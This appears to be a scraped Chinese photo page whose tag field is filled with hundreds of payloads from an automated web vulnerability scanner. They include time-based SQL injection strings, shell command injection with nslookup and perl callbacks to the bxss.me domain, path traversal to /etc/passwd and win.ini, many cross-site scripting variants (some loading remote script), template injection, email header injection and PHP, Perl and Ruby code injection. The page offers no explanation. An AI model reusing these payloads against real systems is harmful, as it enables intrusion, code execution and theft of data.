×
照片标签：
- 1
- 1qxLdEZQtO
- response.write(9838294*9785206)
- '+response.write(9838294*9785206)+'
- "+response.write(9838294*9785206)+"
- echo etorry$()\ qumkdp\nz^xyu||a #' &echo etorry$()\ qumkdp\nz^xyu||a #|" &echo etorry$()\ qumkdp\nz^xyu||a #
- &echo uaguhy$()\ moahkb\nz^xyu||a #' &echo uaguhy$()\ moahkb\nz^xyu||a #|" &echo uaguhy$()\ moahkb\nz^xyu||a #
- |echo vhergq$()\ deembj\nz^xyu||a #' |echo vhergq$()\ deembj\nz^xyu||a #|" |echo vhergq$()\ deembj\nz^xyu||a #
- (nslookup hitivmrfzdbbl23db2.bxss.me||perl -e "gethostbyname('hitivmrfzdbbl23db2.bxss.me')")
- $(nslookup hitjctnxvhshkfd2b7.bxss.me||perl -e "gethostbyname('hitjctnxvhshkfd2b7.bxss.me')")
- &(nslookup hitrigvibmddde14a0.bxss.me||perl -e "gethostbyname('hitrigvibmddde14a0.bxss.me')")&'\"`0&(nslookup hitrigvibmddde14a0.bxss.me||perl -e "gethostbyname('hitrigvibmddde14a0.bxss.me')")&`'
- |(nslookup hitpuvdkhsvwde6701.bxss.me||perl -e "gethostbyname('hitpuvdkhsvwde6701.bxss.me')")
- `(nslookup hitorchogtmxl421fc.bxss.me||perl -e "gethostbyname('hitorchogtmxl421fc.bxss.me')")`
- P9M3dJvW
- 15ptwvAt
- -1 OR 2+946-946-1=0+0+0+1 --
- -1 OR 2+386-386-1=0+0+0+1
- -1' OR 2+330-330-1=0+0+0+1 --
- -1' OR 2+533-533-1=0+0+0+1 or 'FSkdkEx2'='
- -1" OR 2+199-199-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- -1; waitfor delay '0:0:15' --
- -1); waitfor delay '0:0:15' --
- 1 waitfor delay '0:0:15' --
- je0sVrDU'; waitfor delay '0:0:15' --
- -5 OR 267=(SELECT 267 FROM PG_SLEEP(15))--
- -5) OR 156=(SELECT 156 FROM PG_SLEEP(15))--
- ../../../../../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../windows/win.ini
- ../1
- -1)) OR 289=(SELECT 289 FROM PG_SLEEP(15))--
- e96JNRgk' OR 493=(SELECT 493 FROM PG_SLEEP(15))--
- W0x2JBSP') OR 950=(SELECT 950 FROM PG_SLEEP(15))--
- EwecprQ4')) OR 253=(SELECT 253 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1%0abcc:074625.3840-715850.3840.22f5b.19119.2@bxss.me
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- to@example.com>%0d%0abcc:074625.3840-715851.3840.22f5b.19119.2@bxss.me
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- @@7NWve
- 1<esi:include src="http://bxss.me/rpb.png"/>
- ${10000191+9999336}
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
- 1some_inexistent_file_with_long_name%00.jpg
- Http://bxss.me/t/fit.txt
- http://bxss.me/t/fit.txt%3F.jpg
- bxss.me
- 1&n995534=v932675
- '.gethostbyname(lc('hitea'.'mawdwxexe729b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(75).chr(121).chr(66).'
- ".gethostbyname(lc("hitbc"."ukcggvnme3418.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(81).chr(104).chr(74)."
- )
- !(()&&!|*|*|
- ^(#$!@#$)(()))******
- HttP://bxss.me/t/xss.html?%00
- bxss.me/t/xss.html?%00
- "+"A".concat(70-3).concat(22*4).concat(117).concat(82).concat(107).concat(73)+(require"socket" Socket.gethostbyname("hituq"+"xzllccygfee22.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(108).concat(85).concat(104).concat(76)+(require'socket' Socket.gethostbyname('hitdd'+'bnccfyjefb574.bxss.me.')[3].to_s)+'
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
- /xfs.bxss.me
- ';print(md5(31337));$a='
- ";print(md5(31337));$a="
- ${@print(md5(31337))}
- ${@print(md5(31337))}\
- '.print(md5(31337)).'
- '"
- <!--
- F2VW7x7g
- -1 OR 2+640-640-1=0+0+0+1 --
- -1 OR 2+56-56-1=0+0+0+1
- -1' OR 2+196-196-1=0+0+0+1 --
- -1' OR 2+413-413-1=0+0+0+1 or '9cO3jlfr'='
- -1" OR 2+446-446-1=0+0+0+1 --
- -1
- -1)
- GWNfaL6v'
- -5 OR 390=(SELECT 390 FROM PG_SLEEP(15))--
- -5) OR 332=(SELECT 332 FROM PG_SLEEP(15))--
- -1)) OR 939=(SELECT 939 FROM PG_SLEEP(15))--
- sBqPK7D0' OR 934=(SELECT 934 FROM PG_SLEEP(15))--
- r5OEqjHp') OR 908=(SELECT 908 FROM PG_SLEEP(15))--
- OEIN6VDL')) OR 424=(SELECT 424 FROM PG_SLEEP(15))--
- 1 %2527%2522
- @@KkYgX
- 1'"()&%<acx><ScRiPt >5LBw(9847)</ScRiPt>
- '"()&%<acx><ScRiPt >5LBw(9251)</ScRiPt>
- 19695204
- acu7716%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca7716
- acux6030%C0%BEz1%C0%BCz2a%90bcxuca6030
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 109c4PPVtO
- response.write(9535498*9547976)
- '+response.write(9535498*9547976)+'
- "+response.write(9535498*9547976)+"
- echo pmlgqm$()\ ctqhvf\nz^xyu||a #' &echo pmlgqm$()\ ctqhvf\nz^xyu||a #|" &echo pmlgqm$()\ ctqhvf\nz^xyu||a #
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- &echo yvcbqp$()\ bcdnpn\nz^xyu||a #' &echo yvcbqp$()\ bcdnpn\nz^xyu||a #|" &echo yvcbqp$()\ bcdnpn\nz^xyu||a #
- |echo nnqyni$()\ vmtnvc\nz^xyu||a #' |echo nnqyni$()\ vmtnvc\nz^xyu||a #|" |echo nnqyni$()\ vmtnvc\nz^xyu||a #
- (nslookup hitelxnlbkcym1ee10.bxss.me||perl -e "gethostbyname('hitelxnlbkcym1ee10.bxss.me')")
- acx{{98991*97996}}xca
- $(nslookup hitdrljczsqew651a2.bxss.me||perl -e "gethostbyname('hitdrljczsqew651a2.bxss.me')")
- &(nslookup hithpvxqrqxgz03eee.bxss.me||perl -e "gethostbyname('hithpvxqrqxgz03eee.bxss.me')")&'\"`0&(nslookup hithpvxqrqxgz03eee.bxss.me||perl -e "gethostbyname('hithpvxqrqxgz03eee.bxss.me')")&`'
- |(nslookup hiteyisnfnmhk299f1.bxss.me||perl -e "gethostbyname('hiteyisnfnmhk299f1.bxss.me')")
- `(nslookup hithvoigayenae86dc.bxss.me||perl -e "gethostbyname('hithvoigayenae86dc.bxss.me')")`
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu5153%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca5153
- acux1590%C0%BEz1%C0%BCz2a%90bcxuca1590
- acu8087%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca8087
- acux2218%C0%BEz1%C0%BCz2a%90bcxuca2218
- 1 bcc:074625.3840-716425.3840.bb522.19119.2@bxss.me
- to@example.com> bcc:074625.3840-716426.3840.bb522.19119.2@bxss.me
- 12345'"\'\")
- ${9999785+10000460}
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- 1some_inexistent_file_with_long_name .jpg
- http://bxss.me/t/fit.txt?.jpg
- 1%22onmouseover=5LBw(92522)%22
- 1"onmouseover=5LBw(92782)"
- 1" BsqA=5LBw([!+!]) bFJ="
- 1\u0022onmouseover=5LBw(91883)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%35%4C%42%77%28%39%36%34%32%34%29%22
- '"()
- '.gethostbyname(lc('hitua'.'gkdhdxdn1cf8b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(73).chr(118).chr(70).'
- ".gethostbyname(lc("hitxo"."nnrktobaa91d7.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(73).chr(120).chr(83)."
- '
- "
- 1"sTYLe='acu:Expre/**/SSion(5LBw(9754))'bad="
- 1"><script>5LBw(9625)</script>
- 1<ScRiPt >5LBw(9586)</ScRiPt>
- "+"A".concat(70-3).concat(22*4).concat(118).concat(84).concat(120).concat(66)+(require"socket" Socket.gethostbyname("hitly"+"axnfmfel730fc.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(100).concat(65).concat(108).concat(87)+(require'socket' Socket.gethostbyname('hiteb'+'ovmzeqfo88dc7.bxss.me.')[3].to_s)+'
- bibs
- bibs/.
- 1<WOTUF2>9GLZB[!+!]</WOTUF2>
- 1<script>5LBw(9998)</script>
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%35%4C%42%77%28%39%39%35%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<ScRiPt >5LBw(9101)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9572></ScRiPt>
- 1< ScRiPt >5LBw(9898)</ScRiPt>
- 1<isindex type=image src=1 onerror=5LBw(9737)>
- 1<iframe src='data:text/html;base64
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9002'>
- 1'"()&%<acx><ScRiPt >tWx2(9224)</ScRiPt>
- '"()&%<acx><ScRiPt >tWx2(9661)</ScRiPt>
- 1'"()&%<acx><ScRiPt >gBvk(9533)</ScRiPt>
- 19675829
- '"()&%<acx><ScRiPt >gBvk(9715)</ScRiPt>
- acu8190＜s1﹥s2ʺs3ʹuca8190
- acux4510z1z2abcxuca4510
- 19307061
- acu10616%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca10616
- acux4806%C0%BEz1%C0%BCz2a%90bcxuca4806
- acu8884＜s1﹥s2ʺs3ʹuca8884
- acux1678z1z2abcxuca1678
- acu2866%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2866
- acux1013%C0%BEz1%C0%BCz2a%90bcxuca1013
- acu10111＜s1﹥s2ʺs3ʹuca10111
- acux6710z1z2abcxuca6710
- acu7684%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca7684
- acux9922%C0%BEz1%C0%BCz2a%90bcxuca9922
- 1"onmouseover=tWx2(98802)"
- 1"onmouseover=tWx2(93392)"
- 1" ZU7f=tWx2([!+!]) Yeo="
- 1\u0022onmouseover=tWx2(91113)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%74%57%78%32%28%39%35%30%33%34%29%22
- "onmouseover=tWx2(90675)//
- 1"sTYLe='acu:Expre/**/SSion(tWx2(9575))'bad="
- 1"><script>tWx2(9655)</script>
- 1<ScRiPt >tWx2(9684)</ScRiPt>
- 1<WJKOR5>LAI65[!+!]</WJKOR5>
- 1<script>tWx2(9441)</script>
- 1<ScR<ScRiPt>IpT>tWx2(9651)</sCr<ScRiPt>IpT>
- 1%22onmouseover=gBvk(98892)%22
- 1<ScRiPt >tWx2(9547)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9361></ScRiPt>
- 1"onmouseover=gBvk(96612)"
- 1" eQ1d=gBvk([!+!]) i8j="
- 1< ScRiPt >tWx2(9426)</ScRiPt>
- 1\u0022onmouseover=gBvk(98873)\u0022
- 1<svg onload=tWx2(9707)
- 1<isindex type=image src=1 onerror=tWx2(9250)>
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%67%42%76%6B%28%39%33%32%31%34%29%22
- 1<iframe src='data:text/html
- 1<body onload=tWx2(9157)>
- 1"sTYLe='acu:Expre/**/SSion(gBvk(9520))'bad="
- 1<img src=//xss.bxss.me/t/dot.gif onload=tWx2(9402)>
- 1"><script>gBvk(9916)</script>
- 1<img src=xyz OnErRor=tWx2(9148)>
- 1<ScRiPt >gBvk(9039)</ScRiPt>
- 1<img/src=">" onerror=alert(9432)>
- %31%3C%53%63%52%69%50%74%20%3E%74%57%78%32%289081%29%3C%2F%73%43%72%69%70%54%3E
- 1<WTYPF1>CKWOF[!+!]</WTYPF1>
- 1\u003CScRiPt\tWx2(9804)\u003C/sCripT\u003E
- 1<script>gBvk(9076)</script>
- 1<
- <img acu onmouseover=tWx2(92821) //>
- 1<input autofocus onfocus=tWx2(9091)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(tWx2(9394))}
- 19LhOq <ScRiPt >tWx2(9390)</ScRiPt>
- 1<WFTXUE>G3TGN[!+!]</WFTXUE>
- 1<ifRAme sRc=9674.com></IfRamE>
- 1<ayWhLZK x=9358>
微信扫一扫, 保存到手机
